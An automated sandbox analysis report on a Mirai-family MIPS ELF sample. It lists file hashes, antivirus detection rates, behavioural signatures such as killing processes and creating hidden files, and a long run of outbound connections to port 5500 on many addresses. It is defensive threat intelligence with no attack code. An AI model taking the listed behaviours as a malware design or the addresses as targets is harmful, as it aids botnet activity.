Linux Analysis Report
RjeN8EvCIF.elf

Overview

General Information

Sample Name: RjeN8EvCIF.elf
Original Sample Name: e1223c93fee4899ffb8bb674fbd073a8.elf
Analysis ID: 1351988
MD5: e1223c93fee4899ffb8bb674fbd073a8
SHA1: eea04176afc266899a402dcf0fd9e19e71746eca
SHA256: 971866de2ff5f565022955a935ed28a84e9d53b2adfc99622f2bb941b1ef5dcc
Tags: 32elfmipsmirai
Infos:

Detection

Mirai
Score: 76
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Yara detected Mirai
Multi AV Scanner detection for submitted file
Sample tries to kill multiple processes (SIGKILL)
Reads CPU information from /sys indicative of miner or evasive malware
Creates hidden files and/or directories
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Detected TCP or UDP traffic on non-standard ports
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: RjeN8EvCIF.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: RjeN8EvCIF.elf ReversingLabs: Detection: 54%
Source: RjeN8EvCIF.elf Virustotal: Detection: 53% Perma Link
Reads CPU information from /sys indicative of miner or evasive malware
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/thread_siblings_list Jump to behavior
Source: /tmp/RjeN8EvCIF.elf (PID: 5496) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/thread_siblings_list Jump to behavior
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.32.69.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.177.119.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.141.55.51:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.97.188:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.149.97.52:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.76.85.18:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.65.96.54:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.36.60.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.230.27.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.152.60.218:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.54.183:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.169.94.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.93.34.89:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.183.28:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.12.95.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.204.129.35:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.141.161.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.19.141.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.174.197.96:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.56.242:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.177.152.162:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.175.207.0:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.7.0.141:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.148.30.178:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.173.204.224:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.163.120.254:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.98.198.43:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.136.178.23:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.85.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.92.116.120:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.209.71.132:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.136.117:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.53.30.114:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.66.111.218:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.191.39.71:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.139.248.127:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.97.63.123:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.204.6:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.45.188.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.60.235.157:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.108.199.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.177.159:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.148.224.6:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.242.64:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.130.107.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.218.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.146.112.229:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.182.43.65:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.127.179.96:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.150.3:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.140.100.67:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.19.82.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.233.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.81.71.106:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.251.121.38:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.30.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.116.155.32:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.24.148:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.17.28.94:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.110.19.209:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.18.185.105:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.190.181.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.47.198:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.89.203.193:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.118.28.53:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.12.201.83:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.33.56.56:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.62.139.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.66.194.89:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.143.24.53:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.73.41.137:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.116.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.238.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.19.52.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.236.246.253:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.129.119.60:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.169.97.188:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.212.138.196:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.158.47.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.115.160.188:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.190.223.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.15.250.123:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.59.239.35:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.226.250.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.228.63.105:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.95.195.121:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.242.238.152:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.89.132.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.127.71.29:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.31.120.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.153.28.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.12.162.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.73.83.186:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.11.96.74:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.121.27.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.156.1:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.240.196.88:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.113.97.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.187.25.70:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.179.43.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.9.74.98:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.54.200.156:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.251.129.231:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.21.240.160:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.176.184.109:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.18.221.139:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.4.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.100.11.167:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.135.55.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.206.96.237:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.41.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.17.152.205:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.59.106:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.50.198:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.136.192.45:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.155.182.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.234.161:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.2.211.63:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.23.101.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.111.205:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.26.75.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.111.200.110:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.146.71.15:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.87.134.247:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.67.19.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.182.126:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.102.200.156:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.105.28.144:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.233.223.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.194.214.141:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.225.26.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.179.252.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.117.61:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.174.249.148:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.5.3.124:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.28.206.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.214.5.239:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.129.37.220:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.93.15.208:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.131.98.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.237.195.214:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.98.56.26:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.45.160.160:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.169.114.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.213.67.30:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.28.123.155:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.42.99:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.181.23.14:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.208.211.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.130.119.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.209.184.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.122.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.255.25.70:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.244.131.166:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.243.75.127:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.46.14.50:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.196.16.58:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.163.0.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.223.84.202:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.103.128.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.104.237.20:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.178.98.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.144.252.58:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.49.247.154:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.167.31:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.117.29.53:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.253.145.73:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.70.11.22:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.125.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.115.255.52:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.196.225:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.226.60.80:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.71.28.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.200.135.198:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.147.91.183:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.242.147.245:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.180.170.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.255.87.252:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.37.86.196:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.31.4.211:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.51.11.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.236.136.94:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.71.210.103:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.196.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.219.57.127:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.221.143.90:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.76.216:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.218.176.145:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.45.236.42:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.212.100.49:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.184.210.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.77.184.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.32.67.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.205.1.217:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.0.59.29:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.135.103.95:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.162.151.144:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.41.107.130:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.161.80.82:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.64.121.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.128.66.241:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.21.131.180:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.215.113.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.78.21.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.124.64.207:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.190.173.92:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.159.142.250:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.16.188.89:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.38.119.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.83.248:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.86.141.1:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.216.105.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.16.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.219.207.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.130.112.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.135.136.147:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.87.225.102:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.103.244.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.225.223.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.85.55.119:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.74.154.178:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.155.163.179:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.92.10.228:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.239.170.9:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.236.93:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.133.81.230:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.111.67.216:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.249.109.77:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.100.172:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.27.108.124:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.28.250.125:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.224.145.246:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.237.184.7:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.154.155.69:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.64.163.70:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.32.2.85:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.174.122.21:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.240.231.23:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.14.211.246:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.145.226.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.194.45:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.79.69.173:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.227.76.44:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.182.7.161:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.141.89.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.185.25.74:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.215.220.244:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.227.152.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.85.112.203:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.75.68.247:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.65.26.92:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.153.48.240:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.125.146.190:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.155.213.91:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.91.103.222:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.5.51.109:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.65.16:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.244.213.149:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.99.131:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.193.30.43:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.220.217.10:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.220.26.14:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.165.91.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.68.123.218:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.83.135.34:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.182.144.227:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.159.50.149:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.118.10.4:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.122.60.174:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.131.66.254:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.156.137.134:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.96.169.42:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.191.64.29:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.137.250.113:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.181.51.75:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.119.182.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.30.188.45:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.153.47.87:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.199.92.221:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.232.167.0:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.8.110.151:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.239.53.254:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.85.108.113:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.184.28.133:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.121.204.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.144.91.50:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.68.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.95.15.179:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.138.40.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.100.125.63:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.180.107.242:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.22.52.142:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.4.155.47:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.37.237.185:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.171.210.232:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.101.69.148:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.195.252.18:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.210.2.143:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.62.83.72:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.154.89.101:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.203.93.208:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.2.207.98:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.243.225:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.145.236.152:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.100.182.207:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.179.124.57:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.119.50.100:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.53.184.117:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.90.50.66:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.30.0.123:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.15.123.83:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.46.154.147:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.133.230.189:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.25.29.108:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.231.234.210:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.39.109.243:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.106.8.206:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.94.232.249:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.168.129.212:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.129.252.238:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.199.251.154:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.50.35.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.163.218.144:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.140.147.115:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.110.50.40:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.133.112.124:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.38.87.73:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.63.40.84:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.167.50.44:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.62.172.222:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.191.169.184:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.187.228.135:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.147.156.224:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.73.123.180:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.201.152.65:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.41.73.181:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.36.56.118:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.99.222.158:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.36.79.62:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.25.102.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.123.150.150:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.140.214.13:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.166.77.193:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.217.65.64:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.249.153.175:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.233.153.215:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.204.51.27:5500
Source: global traffic TCP traffic: 192.168.2.14:38246 -> 213.197.95.96:5500
